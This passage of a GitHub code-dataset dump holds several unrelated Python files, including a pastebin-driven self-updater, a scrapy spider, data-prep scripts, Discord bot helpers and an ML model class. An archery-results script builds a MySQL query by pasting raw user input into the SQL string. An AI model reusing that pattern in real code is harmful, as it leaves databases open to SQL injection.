predict_fa = test_dir + \"/\" + \"genome.predicted_RNA.fa\",\n genome_bed = test_dir + \"/\" + \"genome.gene.bed\",\n genome_fa = test_dir + \"/\" + \"GCF_000009345.1_ASM934v1_genomic.fna\",\n )\n }\n wsheet = Sheet(data=data)\n wf = SingleWorkflow(wsheet)\n wf.run()\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/tools/prok_rna/sRNA_target.py","file_name":"sRNA_target.py","file_ext":"py","file_size_in_byte":4062,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"9656814362","text":"import os\nimport shutil\nfrom git import Repo\nimport requests\nimport base64\n\nurl = 'https://pastebin.com/raw/bB4wBAPP'\nreq = requests.get(url)\ntx = 0 \ncurVersion = 1.1\nversionIN = 0 \nversionIN = float(req.text)\n\ndef LoadVerion(): \n global curVersion\n FileVersion = open(\"Version.txt\" , \"r\")\n txin = 0\n for line in FileVersion:\n if(txin == 0):\n curVersion = float(line)\n txin += 1 \n \ndef SaveVersion(Vs): \n FileSave = open(\"Version.txt\" ,\"w\")\n FileSave.write(str(Vs))\n\n\ndir = 'Program/'\ndef Add():\n print(\"added\")\n os.makedirs(\"Program\")\n Repo.clone_from(\"https://github.com/harri665/PatronCounts\", \"Program\")\n print(\"ADDED ALL \")\ndef Delete():\n if os.path.isdir(dir):\n os.system('rmdir /S /Q \"{}\"'.format(dir))\n shutil.rmtree(dir, ignore_errors=True)\n print(\"deletedALL\")\ndef CheckNeedUpdate(): \n if(curVersion < versionIN):\n\n return True\n else:\n print(\"retuned flase\")\n return False\n\n\ndef RunMainUpdate():\n print(\"Started\")\n LoadVerion()\n if os.path.isdir(dir):\n if(curVersion < versionIN):\n Delete()\n Add() \n SaveVersion(versionIN)\n print(\"updated!\")\n else:\n print(\"no need for update\")\n\n else:\n Add()\n\ndef main():\n\n RunMainUpdate()\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"harri665/PatronCounts","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38797218605","text":"\"\"\"Base _Dzeta_ spider classes.\"\"\"\n# pylint: disable=no-member\nimport json\nfrom scrapy import Spider\nfrom ..schema import Schema\n\n_SPIDER_ARGS = '__spider_args__'\n\n\nclass DzetaSpider(Spider):\n \"\"\"_Dzeta_ webscraping spider.\n\n Schema for custom arguments can be defined through nested class\n named `Args` which has to subclass :py:class:`dzeta.schema.Schema`.\n This is a simple wrapper around :py:class:`marshmallow.Schema`.\n\n See Also\n --------\n scrapy : Webscraping framework\n \"\"\"\n class Args(Schema):\n pass\n\n @property\n def args(self):\n if hasattr(self, _SPIDER_ARGS):\n return getattr(self, _SPIDER_ARGS)\n schema = self.Args()\n a = schema.load({\n f: getattr(self, f) for f in schema.fields\n if hasattr(self, f)\n })\n setattr(self, _SPIDER_ARGS, a)\n return a\n\n def parse(self, response):\n raise NotImplementedError\n\n\nclass DzetaAPI(DzetaSpider):\n \"\"\"_Dzeta_ API spider.\n\n It assumes that response body is JSON, so it automatically parses it\n properly.\n\n See Also\n --------\n scrapy : Webscarping framework\n \"\"\"\n def parse(self, response):\n \"\"\"Parse JSON response.\"\"\"\n data = json.loads(response.body_as_unicode())\n return data\n","repo_name":"sztal/wikiminer","sub_path":"dzeta/web/spiders.py","file_name":"spiders.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6616213296","text":"# load libraries\nfrom pandas import read_excel, ExcelFile, concat, melt, pivot_table, merge\n\n# Read Data\nworkbook = ExcelFile(r'.\\2022\\Week - 21\\Input\\2022W21 Input.xlsx')\nsheets = workbook.sheet_names\ndf = (concat([read_excel(workbook, sheet_name = s, skiprows=3, nrows=11,\n usecols=lambda x: x if not str(x).startswith('FY') and x != 'Comments' else None )\n .assign(Store= s) for s in sheets ], ignore_index= True )\n .ffill()\n)\n\n#Reshape the data so that we have a Date field\ndf = melt(df, id_vars=['Department' ,'Target', 'Breakdown', 'Store'], var_name= 'Date')\n#For Orders and Returns, we are only interested in reporting % values, \n# whilst for Complaints we are only interested in the # Received\nmask = (\n (df['Department'].isin(['Orders', 'Returns'])) & (df['Breakdown'].str.startswith('%'))\n | ((df['Department'] == 'Complaints') & (df['Breakdown'] == '# Received'))\n )\ndf = df[mask]\n\n# Parse breakdown metrices\ndf['actual'] = [x.split(' ')[0] + ' ' + y + ' ' + ' '.join(x.split(' ')[1:]) \n for x , y in zip(df.Breakdown, df.Department)]\ndf['target_metrices']= 'Target - ' + df['actual']\ndf['Target_values'] = (df['Target'].str.replace('[>|%]', '', regex = True)\n .fillna(0)).astype(int)/100\n\n# Pivot target and actual measures\ndf = merge(pivot_table(df,index=['Store', 'Date'], columns='actual', values= 'value').reset_index(),\n pivot_table(df,index=['Store', 'Date'], columns='target_metrices', values= 'Target_values').reset_index())\n \n#Output\ndf.to_csv(r'.\\2022\\Week - 21\\Output\\week21_output.csv', index = False)\nprint('prepped!')\n\n","repo_name":"diana-kungu/Prepping-Data","sub_path":"2022/Week - 21/Preppindata2022_Week21.py","file_name":"Preppindata2022_Week21.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"72744770188","text":"## IMPORTS\n# Data\nimport pandas as pd\nimport missingno as msno\nimport os\n\n\ncurrent_directory = os.path.dirname(__file__)\n## PATH\nd_path = os.path.join(current_directory, \"../data/bank.csv\")\npp_path = os.path.join(current_directory, \"../data/bank_pro.csv\")\n\n## LOAD DATA\ndf = pd.read_csv(d_path)\n\n## PROCESS\n# Mapping\ndep_mapping = {\"yes\": 1, \"no\": 0}\ndf[\"deposit\"] = df[\"deposit\"].astype(\"category\").map(dep_mapping) # Convert the column to category and map the values\n\n# Dropping\ndf = df.drop(labels = [\"default\", \"contact\", \"day\", \"month\", \"pdays\", \"previous\", \"loan\", \"poutcome\", \"poutcome\"], axis=1) # Drop unwanted columns\n\n## SAVE\n# Saving Process Results\npd.DataFrame.to_csv(df, pp_path, index=False)\n","repo_name":"fran-janela/aps01-mlops-template","sub_path":"{{cookiecutter.directory_name}}/src/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6428962304","text":"from random import randint\nfrom api import app\nfrom flask import Response\nimport json\nimport os\n\n@app.route('/api///all')\ndef get_all_json( lang, level):\n if lang == 'japanese':\n json_for_all = open(os.path.join( app.static_folder, f'json/jlpt_n{level}', f\"jlpt_n{level}_all.json\"), \"r\")\n if lang == 'korean':\n json_for_all = open(os.path.join( app.static_folder, f'json/topik_{level}', f\"topik_{level}_all.json\"), \"r\")\n data = json.load(json_for_all)\n return Response(json.dumps(data), mimetype='application/json')\n\n@app.route('/api///')\ndef get_some_json( lang, level, how_many):\n if lang == 'japanese':\n json_for_all = open(os.path.join( app.static_folder, 'json', f'jlpt_n{level}', f\"jlpt_n{level}_all.json\"), \"r\")\n if lang == 'korean':\n json_for_all = open(os.path.join( app.static_folder, f'json/topik_{level}', f\"topik_{level}_all.json\"), \"r\")\n data = json.load(json_for_all)\n\n # Figure out array of indexes to grab from data\n indexes = []\n for i in range(int(how_many)):\n random_index = randint(0, len(data) - 1)\n if random_index not in indexes:\n indexes.append(random_index)\n else:\n # Start this loop over again\n i -= 1\n\n # Use array of indexes to get objects from data for return json\n return_words = []\n for index in indexes:\n return_words.append(data[index])\n\n return Response(json.dumps(return_words), mimetype='application/json')\n\n@app.route('/api///info')\n\ndef get_json_info( lang, level):\n data = [\n 'all',\n 5,\n 10,\n 15,\n 20,\n 50\n ]\n # After selection level, we need to get the \"how many words\"\n # We must use this to limit the results from the sql query\n # query(Model).filter(something).limit(5).all()\n # Oh!!! We don't have a DB yet!!!\n\n\n return Response(json.dumps(data), mimetype='application/json')\n\n# @app.route('/api/japanese//')\n\n# def get_json_one_lesson( level, id):\n# json_one_lesson = open(os.path.join( app.static_folder, f'json/{level}', f\"{level}_\" + id + \".json\"), \"r\")\n# data = json.load(json_one_lesson)\n# return Response(json.dumps(data), mimetype='application/json')","repo_name":"feeby2494/theTekCowboysFlaskReact","sub_path":"api/api/vocab/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"4059844335","text":"from discord.ext.commands import Bot\nfrom discord.ext.commands.bot import AutoShardedBot\nfrom discord.ext.commands.context import Context\nimport discord\nimport asyncio\nimport logging\n\n\nasync def confirm(bot: Bot, ctx: Context, message: str, timeout: int = 20, author: str = \"Confirm\"):\n try:\n embed = discord.Embed(\n colour=discord.Colour.from_rgb(255, 255, 0),\n description=message\n )\n embed.set_author(name=author, icon_url=bot.user.avatar_url)\n\n msg = await ctx.send(embed=embed)\n await msg.add_reaction(\"✅\")\n await msg.add_reaction(\"❌\")\n\n def check(reaction, user):\n return user == ctx.message.author and str(reaction.emoji) in ['✅', '❌']\n\n reaction, _ = await bot.wait_for('reaction_add', timeout=timeout, check=check)\n if reaction.emoji == '❌':\n await msg.delete()\n return False\n elif reaction.emoji == '✅':\n await msg.delete()\n return True\n except asyncio.TimeoutError:\n await msg.delete()\n return False\n\n\ndef jsonKeys2int(x):\n if isinstance(x, dict):\n try:\n return {int(k): v for k, v in x.items()}\n except:\n pass\n return x\n\nasync def levelup_check(bot: AutoShardedBot,ctx: Context):\n logging.debug(f\"Triggering levelup_check for {ctx.author.display_name}\")\n player = ctx.author\n xp = bot.configs[ctx.guild.id][\"players\"][player.id][\"xp\"]\n level = bot.configs[ctx.guild.id][\"players\"][player.id][\"level\"]\n\n xp_for_level = bot.configs[ctx.guild.id][\"xp_for_level\"]\n for _ in range(level):\n xp_for_level *= bot.configs[ctx.guild.id][\"level_multiplier\"]\n\n xp_for_level = int(xp_for_level)\n\n if xp >= xp_for_level:\n bot.configs[ctx.guild.id][\"players\"][player.id][\"xp\"] -= xp_for_level\n bot.configs[ctx.guild.id][\"players\"][player.id][\"level\"] += 1\n bot.configs[ctx.guild.id][\"players\"][player.id][\"skillpoints\"] += 1\n embed = discord.Embed(\n colour=discord.Colour.from_rgb(255, 255, 0),\n description=f'You are now level `{bot.configs[ctx.guild.id][\"players\"][player.id][\"level\"]}`'\n )\n embed.set_author(name=\"Level up\", icon_url=bot.user.avatar_url)\n await ctx.send(embed=embed)\n logging.debug(\n f\"{ctx.author.display_name} is now level {bot.configs[ctx.guild.id]['players'][player.id]['level']}\")\n await levelup_check(bot, ctx)\n","repo_name":"Stax124/Trinity-V2","sub_path":"core/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"27446443407","text":"#!/Library/Frameworks/Python.framework/Versions/3.7/bin/python3.7\nimport http.client\nimport json\nimport mysql.connector\nimport codecs\n\n\n# petite fonction pour lire les resultats\ndef getResults(x):\n result = \"\"\n for i in x.split(\"|\"):\n result = result+\"\\t\"+i\n return result\n\n\n# petite fonction pour recup le lib des compet\ndef getCompLevel(mydb, conn, x):\n result = \"\"\n '''\n sql = \"select comLevel, comSubLevel from competition where id=\"+str(x)\n mycursor = mydb.cursor()\n mycursor.execute(sql)\n myresult = mycursor.fetchall()\n\n for comp in myresult:\n result = str(comp[0])+\" \"+str(comp[1])\n '''\n if result==\"\" :\n #print(\"Recup du libelle pour comp \"+str(x))\n conn.request(\"GET\", \"/v3/COMPETITIONS/?CompId=\"+str(x)+\"&RBP=1000\")\n r1 = conn.getresponse()\n data1 = r1.read()\n datastore = json.loads(data1)\n for a in datastore[\"items\"] :\n result = str(a[\"ComLevel\"])+\"\\t\"+str(a[\"ComSubLevel\"])\n return result\n\n\nathlete = input('Nom Athlete : ')\nprint(\"Recup des resultats de \"+athlete)\n\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n passwd=\"\",\n database='archerydb'\n)\nsql = \"select id, fname, gname, noc, age from athlete where fname like '\"+athlete+\"%' order by gname, fname\"\nmycursor = mydb.cursor()\nmycursor.execute(sql)\nmyresult = mycursor.fetchall()\n\nfor x in myresult:\n print(str(x[0])+\" \"+x[1]+\" \"+x[2]+\" \"+x[3]+\" age:\"+str(x[4]))\n\nidAthlete = input('Identifiant : ')\n\n\nconn = http.client.HTTPSConnection(\"api.worldarchery.org\")\nconn.request(\"GET\", \"/v3/ATHLETEMATCHES/?Id=\"+str(idAthlete)+\"&RBP=1000\")\n\n# Lecture des donnees\nr1 = conn.getresponse()\ndata1 = r1.read()\ndatastore = json.loads(data1)\nlistComp = []\nwith codecs.open(str(idAthlete)+\".xls\", 'w', encoding='utf8') as f:\n #f= open(str(idAthlete)+\".xls\",\"w+\")\n print(\"CompID\\tCompName\\tCompPlace\\tCompCountry\\tCompDtFrom\\tCompDtTo\\tPhaseName\\tFinalRank\\tQualRank\\tScore1\\tSP1\\t\\t\\t\\t\\tQualRank2\\tScore2\\tSP2\")\n f.write(\"CompID\\tCompName\\tCompPlace\\tCompCountry\\tCompDtFrom\\tCompDtTo\\tPhaseName\\tFinalRank\\tQualRank\\tScore1\\tSP1\\t\\t\\t\\t\\tQualRank2\\tScore2\\tSP2\\n\")\n for a in datastore[\"items\"] :\n if not(listComp.__contains__(a[\"CompID\"])) :\n listComp.append(a[\"CompID\"])\n #print(\"comp1:\"+a[\"Competitor1\"][\"Athlete\"][\"Id\"])\n #print(\"comp2:\"+a[\"Competitor2\"][\"Athlete\"][\"Id\"])\n if (str(a[\"Competitor1\"][\"Athlete\"][\"Id\"])==str(idAthlete)):\n print(str(a[\"CompID\"])+\"\\t\"+a[\"CompName\"]+\"\\t\"+a[\"CompPlace\"]+\"\\t\"+a[\"CompCountry\"]+\"\\t\"+a[\"CompDtFrom\"]+\"\\t\"+a[\"CompDtTo\"]+\"\\t\"+str(a[\"PhaseName\"])+\"\\t\"+str(a[\"Competitor1\"][\"FinalRank\"])+\"\\t\"+str(a[\"Competitor1\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor1\"][\"Score\"])+getResults(a[\"Competitor1\"][\"SP\"])+\"\\t\"+str(a[\"Competitor2\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor2\"][\"Score\"])+getResults(a[\"Competitor2\"][\"SP\"]))\n f.write(str(a[\"CompID\"])+\"\\t\"+a[\"CompName\"]+\"\\t\"+a[\"CompPlace\"]+\"\\t\"+a[\"CompCountry\"]+\"\\t\"+a[\"CompDtFrom\"]+\"\\t\"+a[\"CompDtTo\"]+\"\\t\"+str(a[\"PhaseName\"])+\"\\t\"+str(a[\"Competitor1\"][\"FinalRank\"])+\"\\t\"+str(a[\"Competitor1\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor1\"][\"Score\"])+getResults(a[\"Competitor1\"][\"SP\"])+\"\\t\"+str(a[\"Competitor2\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor2\"][\"Score\"])+getResults(a[\"Competitor2\"][\"SP\"])+\"\\n\")\n else :\n print(str(a[\"CompID\"])+\"\\t\"+a[\"CompName\"]+\"\\t\"+a[\"CompPlace\"]+\"\\t\"+a[\"CompCountry\"]+\"\\t\"+a[\"CompDtFrom\"]+\"\\t\"+a[\"CompDtTo\"]+\"\\t\"+str(a[\"PhaseName\"])+\"\\t\"+str(a[\"Competitor2\"][\"FinalRank\"])+\"\\t\"+str(a[\"Competitor2\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor2\"][\"Score\"])+getResults(a[\"Competitor2\"][\"SP\"])+\"\\t\"+str(a[\"Competitor1\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor1\"][\"Score\"])+getResults(a[\"Competitor1\"][\"SP\"]))\n f.write(str(a[\"CompID\"])+\"\\t\"+a[\"CompName\"]+\"\\t\"+a[\"CompPlace\"]+\"\\t\"+a[\"CompCountry\"]+\"\\t\"+a[\"CompDtFrom\"]+\"\\t\"+a[\"CompDtTo\"]+\"\\t\"+str(a[\"PhaseName\"])+\"\\t\"+str(a[\"Competitor2\"][\"FinalRank\"])+\"\\t\"+str(a[\"Competitor2\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor2\"][\"Score\"])+getResults(a[\"Competitor2\"][\"SP\"])+\"\\t\"+str(a[\"Competitor1\"][\"QualRank\"])+\"\\t\"+str(a[\"Competitor1\"][\"Score\"])+getResults(a[\"Competitor1\"][\"SP\"])+\"\\n\")\n\n f.close()\n\nwith codecs.open(str(idAthlete)+\"_score.xls\", 'w', encoding='utf8') as f:\n for x in listComp:\n conn.request(\"GET\", \"/v3/INDIVIDUALQUALIFICATIONS/?CompId=\"+str(x)+\"&Id=\"+str(idAthlete)+\"&RBP=1000\")\n #print(\"/v3/INDIVIDUALQUALIFICATIONS/?CompId=\"+str(x)+\"&Id=\"+str(idAthlete)+\"&RBP=1000\")\n r1 = conn.getresponse()\n data1 = r1.read()\n datastore = json.loads(data1)\n for a in datastore[\"items\"] :\n for b in a[\"Results\"] :\n print(str(x)+\"\\t\"+getCompLevel(mydb, conn, x)+\"\\t\"+str(b[\"Score\"]))\n f.write(str(x)+\"\\t\"+getCompLevel(mydb, conn, x)+\"\\t\"+str(b[\"Score\"])+\"\\n\")\n\n \n f.close()","repo_name":"jquantin/ArcheryResults","sub_path":"resultat.py","file_name":"resultat.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39290378904","text":"\"\"\"\nThis module will contain schema for the scrapped data\n\"\"\"\n\nfrom typing import Union\n\nleagues = {\n \"England\": \"Premier League\",\n # \"Germany\": \"Bundesliga\",\n # \"Italy\": \"Serie A\",\n # \"France\": \"Ligue 1\",\n # \"Spain\": \"La Liga\",\n}\n\nclub_data_json: dict[str, list[Union[str, int]]] = {\n \"club_id\": [],\n \"club_name\": [],\n \"club_flag\": [],\n \"club_country\": [],\n}\n\nleague_data_json: dict[str, list[Union[str, int]]] = {\n \"id\": [],\n \"name\": [],\n \"logo\": [],\n \"country\": [],\n \"flag\": [],\n \"current_season\": [],\n \"start_date\": [],\n \"end_date\": [],\n}\n\nscore_assists_data_json: dict[str, list[Union[str, int, bool, float]]] = {\n \"player_id\": [],\n \"club_id\": [],\n \"league_id\": [],\n \"player_name\": [],\n \"player_position\": [],\n \"player_rating\": [],\n \"player_age\": [],\n \"player_nationality\": [],\n \"player_height\": [],\n \"player_weight\": [],\n \"player_photo\": [],\n \"injured\": [],\n \"appearences\": [],\n \"minutes\": [],\n \"shots_total\": [],\n \"shots_on_goal\": [],\n \"goals\": [],\n \"assists\": [],\n \"passes\": [],\n \"key_passes\": [],\n \"passes_accuracy\": [],\n \"penalties_scored\": [],\n \"penalties_missed\": [],\n}\n\nstandings_data: dict[str, list[Union[str, int]]] = {\n \"league_id\": [],\n \"club_id\": [],\n \"club_name\": [],\n \"club_form\": [],\n \"league_rank\": [],\n \"description\": [],\n \"points\": [],\n \"goalsDiff\": [],\n \"status\": [],\n \"last_updated\": [],\n \"home_played\": [],\n \"home_win\": [],\n \"home_draw\": [],\n \"home_losses\": [],\n \"home_goals\": [],\n \"home_conceded\": [],\n \"away_played\": [],\n \"away_win\": [],\n \"away_draw\": [],\n \"away_losses\": [],\n \"away_goals\": [],\n \"away_conceded\": [],\n}\n","repo_name":"rtanoeiro/football-dagster","sub_path":"football_dagster/utils/tables_schema.py","file_name":"tables_schema.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"29279506247","text":"class Person:\n \"\"\"Class Person\"\"\"\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n\n def greet(self):\n return f\"Hi, I'm {self.name}\"\n\njuan = Person(\"Juan\", 15, \"M\")\nprint(juan.greet())\nprint(juan.age)\nprint(juan.gender)\n","repo_name":"lksengineer/Python-POO-Exercises","sub_path":"1-BASIC/1-person.py","file_name":"1-person.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1190152423","text":"import requests\nimport json\n\nurl = 'https://akabab.github.io/superhero-api/api/all.json'\n# resp = requests.get(url)\n\n# print(resp.json)\n\nnames_of_characters = [{'name': 'Hulk'}, {'name': 'Captain America'}, {'name': 'Thanos'}]\nintelligence = {}\n\nfor names in names_of_characters:\n response = requests.get(url)\n # print(response.status_code)\n if response == 'success':\n intelligence[names] = intelligence.update(int(response['results'][0]['powerstats']['intelligence']))\n print(intelligence)\n\n\n\n","repo_name":"Ah1lio/rs","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17845359881","text":"# Fazer um radar eletrônico que dará uma multa de 7$ a cada km excedido sendo 80kmh o limite máximo\n\n# Pedi para que o usuário informe qual foi sua velocidade\nvelocidade = float(input('Qual foi a sua velocidade: '))\n\n# Calcular a multa\nmulta = (velocidade - 80) * 7\n\n# Mostra se ele está no limite ou terá que pagar alguma multa\nif velocidade <= 80:\n print('\\033[32mVocê está no limite permitido! Boa viajem!\\033[m')\nelse:\n print(f'\\033[31mVocê excedou o limite de velocidade! Sua multa é de {multa}$!\\033[m')","repo_name":"Luis-Felipe-N/curso-em-video-python","sub_path":"modulo-1/exercicios/029-radar_eletronico.py","file_name":"029-radar_eletronico.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74511653707","text":"import requests\nfrom bs4 import BeautifulSoup\n\nurl = \"https://www.sinemalar.com/filmler/en-iyi-filmler\"\n\nhtml = requests.get(url).content\nsoup = BeautifulSoup(html,'html.parser')\n\nfilmlistesi = soup.find(\"div\",{\"class\":\"movies\"}).findAll(\"div\",{\"class\":\"details\"})\nprint(filmlistesi)\n\n# for film in filmlistesi:\n# name = film.find(\"div\", {\"class\": \"name\"}).string.strip()\n# year = film.find(\"div\", {\"class\": \"item\"}).text.strip()\n#\n# # rating = film.find(\"div\", {\"class\": \"right-top-info\"})\n# # print(rating)\n# print(name.ljust(45),year)\n#\n\n# print(list)","repo_name":"erdemyagsagan/Python-Doc","sub_path":"Advanced Python/imdb.py","file_name":"imdb.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38817086293","text":"from typing import Set, List, Iterable\n\nimport os\nimport shutil\nimport sys\nimport tempfile\n\nfrom dev_tools import env_tools, all_checks, check\n\n\nREPO_ORGANIZATION = 'quantumlib'\nREPO_NAME = 'openfermion-cirq'\n\n\ndef report_pending(env, checks, out_still_pending: Set[check.Check]):\n for c in checks:\n env.report_status_to_github('pending', 'Preparing...', c.context())\n out_still_pending.add(c)\n\n\ndef topologically_sorted_checks_with_deps(checks: Iterable[check.Check]\n ) -> List[check.Check]:\n result = []\n seen = set() # type: Set[check.Check]\n\n def handle(item: check.Check):\n if item in seen:\n return\n seen.add(item)\n\n # Dependencies first.\n for dep in item.dependencies:\n handle(dep)\n\n result.append(item)\n\n for e in checks:\n handle(e)\n\n return result\n\n\ndef parse_args():\n args = sys.argv\n verbose = '--verbose' in args\n only = [e.split('--only=')[1]\n for e in args\n if e.startswith('--only=')]\n checks = all_checks.ALL_CHECKS\n if only:\n checks = [e for e in checks if e.command_line_switch() in only]\n if len(checks) != len(only):\n print('Bad --only argument. Allowed values {!r}.'.format(\n [e.command_line_switch() for e in all_checks.ALL_CHECKS]),\n file=sys.stderr)\n sys.exit(1)\n checks = topologically_sorted_checks_with_deps(checks)\n\n positionals = [arg for arg in args if not arg.startswith('-')]\n pull_request_number = None if len(positionals) < 2 else int(positionals[1])\n access_token = None if len(positionals) < 3 else int(positionals[2])\n if access_token is None:\n access_token = os.getenv('CIRQ_GITHUB_ACCESS_TOKEN')\n return pull_request_number, access_token, verbose, checks\n\n\ndef main():\n pull_request_number, access_token, verbose, checks = parse_args()\n\n test_dir = tempfile.mkdtemp(prefix='test-{}-'.format(REPO_NAME))\n test_dir_2 = tempfile.mkdtemp(prefix='test-{}-py2-'.format(REPO_NAME))\n currently_pending = set()\n env = None\n try:\n env = env_tools.prepare_temporary_test_environment(\n destination_directory=test_dir,\n repository=env_tools.GithubRepository(\n organization=REPO_ORGANIZATION,\n name=REPO_NAME,\n access_token=access_token),\n pull_request_number=pull_request_number,\n commit_ids_known_callback=lambda e:\n report_pending(e, checks, currently_pending),\n verbose=verbose)\n\n env2 = None\n\n check_results = []\n failures = set()\n for c in checks:\n # Run the check.\n print()\n result = c.pick_env_and_run_and_report(env, env2, verbose, failures)\n\n # Record results.\n check_results.append(result)\n currently_pending.remove(c)\n if not result.success:\n failures.add(c)\n print()\n\n finally:\n shutil.rmtree(test_dir, ignore_errors=True)\n shutil.rmtree(test_dir_2, ignore_errors=True)\n for c in currently_pending:\n if env is not None:\n env.report_status_to_github('error',\n 'Unexpected error.',\n c.context())\n\n print()\n print(\"ALL CHECK RESULTS\")\n for result in check_results:\n print(result)\n\n for result in check_results:\n if result.unexpected_error is not None:\n raise EnvironmentError('At least one check raised.') from (\n result.unexpected_error)\n\n if any(not e.success for e in check_results):\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"quantumlib/OpenFermion-Cirq","sub_path":"dev_tools/run_checks.py","file_name":"run_checks.py","file_ext":"py","file_size_in_byte":3817,"program_lang":"python","lang":"en","doc_type":"code","stars":270,"dataset":"github-code","pt":"62"} +{"seq_id":"379608958","text":"import os, sys\nif os.path.dirname(os.path.dirname(os.path.realpath(__file__))) not in sys.path:\n sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\n\nfrom pathlib import Path\nfrom typing import Union\n\nimport torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom utils.backbones_factory import get_model\nfrom metrics.ECE import ECE\n# --- Pytorch-lightning module ---\nimport pytorch_lightning as pl\nfrom argparse import ArgumentParser\n\ndef Vanilla(class_to_extend):\n class VanillaModel(class_to_extend):\n\n @classmethod\n def add_model_specific_args(cls, parent_parser): # pragma: no-cover\n parent_parser = super().add_model_specific_args(parent_parser)\n parser = ArgumentParser(parents=[parent_parser],add_help=False)\n return parser\n\n def __init__(\n self,\n *args,\n **kwargs,\n ) -> None:\n \"\"\"\n Args:\n dl_path: Path where the data will be downloaded\n \"\"\"\n super().__init__(*args,**kwargs)\n self.build_model()\n self.build_loss()\n self.build_nll()\n\n self.output_is_logits = True\n\n def build_loss(self):\n self.loss = F.cross_entropy\n\n def build_nll(self):\n self.nll = F.cross_entropy\n\n def build_model(self):\n # 1. Prepare backbone:\n self.feature_extractor = get_model(self.hparams)\n # 2. Classifier:\n self.fc = nn.Linear(self.feature_extractor.embedding_size, self.dm.num_classes, bias=not self.hparams.without_bias)\n\n if self.hparams.resume_training:\n if os.path.exists(self.hparams.default_root_dir + \"/last_full_epoch.ckpt\"):\n cpt = torch.load(self.hparams.default_root_dir + \"/last_full_epoch.ckpt\")\n fc_dict = {'weight': cpt['state_dict'].pop(f'{self.hparams.class_head_name}.weight'), \"bias\":cpt['state_dict'].pop(f'{self.hparams.class_head_name}.bias')}\n new_feature_dict = {}\n for k,v in cpt[\"state_dict\"].items():\n new_feature_dict[k.replace(\"feature_extractor.\",'')] = v\n\n self.feature_extractor.load_state_dict(new_feature_dict)\n self.fc.load_state_dict(fc_dict)\n\n\n\n def forward(self, x):\n \"\"\"Forward pass. Returns logits.\"\"\"\n # 1. Feature extraction:\n embeddings = self.feature_extractor(x)\n\n # 2. Classifier (returns logits):\n x = self.fc(embeddings)\n\n return x, embeddings\n\n def configure_optimizers(self):\n optimizer = torch.optim.SGD(self.parameters(), self.hparams.lr,\n momentum=self.hparams.momentum, nesterov=self.hparams.nesterov,\n weight_decay=self.hparams.weight_decay)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=self.hparams.milestones,\n gamma=self.hparams.lr_scheduler_gamma)\n\n return [optimizer], [scheduler]\n\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n y_hat, _ = self(x)\n loss = self.loss(y_hat, y)\n\n if self.hparams.accelerator == \"dp\": #dp has bug, if you don't return only loss it gets loss = nan\n return loss\n else:\n return {\"loss\":loss, \"y_logits\":y_hat, \"y_true\":y}\n\n def training_epoch_end(self, outputs):\n print(\"Epoch, saving because epoch ended: \", str(self.trainer.current_epoch))\n print(\"SAVING CHECKPOINT HERE: \", self.hparams[\"default_root_dir\"] + \"/last_full_epoch.ckpt\")\n self.hparams.dm = None\n self.trainer.save_checkpoint(self.hparams[\"default_root_dir\"] + \"/last_full_epoch.ckpt\")\n\n\n return VanillaModel\n","repo_name":"FrancescoPinto/RegMixup","sub_path":"models/vanilla.py","file_name":"vanilla.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"47563855233","text":"#for arabic input use a pre-cleaned pre-formatted input directly\n#removing tashkeel/harakat may take sometime to develop\n#tnkeeh library was not useful in my case I found alternative quicklier\n#please uncomment the first two lines if you want to try tnkeeh lib\n#import tnkeeh as tn\n#tn.clean_data(file_path = 'kalemat.txt', save_path = 